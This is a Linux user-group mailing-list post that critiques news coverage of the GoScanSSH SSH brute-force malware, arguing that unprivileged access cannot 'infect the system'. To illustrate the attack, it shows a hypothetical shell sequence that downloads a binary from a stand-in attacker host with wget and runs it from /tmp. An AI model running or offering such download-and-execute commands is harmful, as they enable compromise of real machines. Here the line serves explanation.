[sf-lug] new Malware found! Maybe April Fool joke...

[Rick Moen]

Quoting Bobbie Sellers (bliss-sf4ever at dslextreme.com):

>     The URL leads to an article where it is said that a particular
> malware is aiming at the consumer Linux servers, avoiding
> Government servers.
> <http://www.itprotoday.com/endpoint-security/newly-found-malware-deliberately-avoids-government-networks>

Always start with the same key question, on any IT story about 'malware'
alleged-threats:

   How does it get run?
   (And, if it must acquire elevated process privilege, how 
   does that happen?)

Article concerns something called 'GoScanSSH', which is said to do a
doorknob-twisting 'attack' where it attempts many outbound ssh
connections to remote host IPs trying weak username/password pairs to
see if it can get in ('a brute force attack that utilizes a word list of
7,000 user/password combinations, with usernames being of the "admin,
guest, oracle, root, test, user" variety').

OK, so that's how entry occurs -- in theory.  Of course, if you check 
pretty much any Linux machine, the system PAM modules and cracklibs do a
pretty good job of forbidding users from picking bad passwords.  (I'm
sure some are more lax than others.  Judging by the article, they seem
to imply the main target is embedded devices.)

Once the process waltzes into an ssh session as some (theoretically)
easy to guess user/password set of credentials, and thus has a local
shell, the script fetches 'a unique GoScanSSH binary' and runs it, sort
of like this:

cd /tmp
wget http://bandit.somewhere.bad/do-stuff
./do-stuff

That's how it gets run (in this scenario).

Article declares the above using this howler:

   After it's in, a unique GoScanSSH binary is created and uploaded to
   the compromised SSH server and then executed to infect the system. 
                                                   ^^^^^^^^^^^^^^^^^

OK, in the above hypothetical, the script entered as (say) user guest, 
and so resulting process /tmp/do-stuff is running as user guest, i.e.,
with exactly user guest's authority and nothing more.  You should ask
yourself:  How does a process running with peon user authority 'infect
the system'?

Pretty much the only files user guest is permitted to write to, and the
only directories in which that user can even create new files, is in
/home/guest and in /tmp.  Said user literally cannot touch the rest of
the system without something extraordinary and separate that elevates
user 'guest's' authority to (say) root-user authority.  Is there some 
extremely impressive deep magic hidden in /tmp/do-stuff by which it
effortlessly breaks system security?  Article doesn't say -- but then,
article assumes you're pretty ignorant and not thinking clearly.

A careful reader would note that the article provides no data about this
ssh-mediated worm achieving any actual _success_, e.g., any numbers of
supposed Linux servers 'infected' and what sort of devices they are.
A cynic might imagine that this is because there's no data.

So, the itprotoday.com article is basically a thick layer of bullshit 
on a small not-very-interesting story.


Chasing links to the original TALOS blog,
https://blog.talosintelligence.com/2018/03/goscanssh-analysis.html , the
contents are a little better.  Blog post clarifies that host security
does _not_ get cracked, so the (e.g.) /tmp/do-stuff process continues to
use peon-user authority only.  Blog nonetheless repeatedly refers to
such a system as 'infected' and 'compromised', which is pretty much
completely untrue.

Predictably, the TALOS blog pushes TALOS antimalware products at the
bottom.  Surprised?


How this sort of bullshit gets into the IT press:
'Security Snake Oil' on http://linuxmafia.com/kb/Security/